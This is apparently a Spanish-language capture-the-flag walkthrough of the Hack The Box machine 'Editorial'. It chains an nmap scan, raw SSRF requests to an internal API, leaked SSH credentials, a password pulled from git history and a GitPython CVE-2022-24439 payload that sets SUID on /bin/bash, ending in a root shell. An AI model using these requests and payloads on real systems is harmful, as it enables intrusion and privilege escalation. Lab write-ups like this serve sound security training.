Editorial

OS: Linux
Dificultad: Fácil
Puntos: 20

Nmap Scan

ports=$(nmap -p- --min-rate=5000 -T4 10.129.14.144 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.129.14.144
Nmap scan report for 10.129.14.144
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeracion

Agregamos el dominio a nuestro archivo hosts.

echo '10.129.14.144   editorial.htb' >> /etc/hosts

La aplicacion cuenta con una funcion de subir archivos y consultar imagen desde url.

Server-side request forgery (SSRF)

Se identifico que la aplicacion podria ser vulnerable a SSRF.

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------228513139132457413431003860731
Content-Length: 392
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload

-----------------------------228513139132457413431003860731
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1/
-----------------------------228513139132457413431003860731
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------228513139132457413431003860731--

SSRF Enum Ports

Encontramos que el puerto 5000 tiene una respuesta diferente.

Accediendo a la url que nos resgresa el servidor nos descarga un archivo con informacion json.

{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}

Si accedemos a la siguiente url.

POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------228513139132457413431003860731
Content-Length: 401
Origin: http://editorial.htb
Connection: keep-alive
Referer: http://editorial.htb/upload

-----------------------------228513139132457413431003860731
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:5000/api/latest/metadata/messages/authors
-----------------------------228513139132457413431003860731
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------228513139132457413431003860731--

Obtenemos el siguiente mensaje.

{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

SSH Access

Podemos conectarnos con las siguientes credenciales.

dev : dev080217_devAPI!@
┌──(root㉿kali)-[~/htb/Box/Editorial]
└─# ssh dev@10.129.14.144
dev@10.129.14.144's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jun 17 14:33:06 2024 from 10.10.14.107
dev@editorial:~$ ls
apps  user.txt
dev@editorial:~$ cat user.txt 
15034110a0c63affa8abae5d3f1fced0

Privilege Escalation

En el directorio /home/dev/apps encontramos un direcorio git. Revisando los logs encontramos un password.

git show 1e84a036b2f33c59e2390730699a488c65643d28
template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\n

Nos autenticamos con esas credenciales.

prod : 080217_Producti0n_2023!@
dev@editorial:~/apps$ su prod
Password: 
prod@editorial:/home/dev/apps$ cd
prod@editorial:~$

El usuario prod puede usar el siguiente comando con sudo.

prod@editorial:~$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

El codigo es el siguiente.

#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Investigando los archivos vemos que se esta utilizando la version 3.1.29 de la libreria git.

prod@editorial:~$ ls -la /usr/local/lib/python3.10/dist-packages/
total 72
drwxr-xr-x 18 root root 4096 Jun  5 14:36 .
drwxr-xr-x  3 root root 4096 Jun  5 14:36 ..
drwxr-xr-x  4 root root 4096 Jun  5 14:36 flask
drwxr-xr-x  2 root root 4096 Jun  5 14:36 Flask-2.2.2.dist-info
drwxr-xr-x  7 root root 4096 Jun  5 14:36 git
drwxr-xr-x  6 root root 4096 Jun  5 14:36 gitdb
drwxr-xr-x  2 root root 4096 Jun  5 14:36 gitdb-4.0.10.dist-info
drwxr-xr-x  2 root root 4096 Jun  5 14:36 GitPython-3.1.29.dist-info
drwxr-xr-x  7 root root 4096 Jun  5 14:36 gunicorn

GitPython RCE (CVE-2022-24439)

La version es vulnerable a RCE podemos utilizar el siguiente payload para escalar privilegios.

Ejecutamos el siguiente comando.

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% +s% /bin/bash'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod% +s% /bin/bash new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

Vemos que hora tiene SUID el binario bash.

prod@editorial:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

Obtenemos root.

prod@editorial:~$ bash -p
bash-5.1# cd /root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt 
0e0deca1b8e157195638e6bd1689bf00
bash-5.1#

Referencias

https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858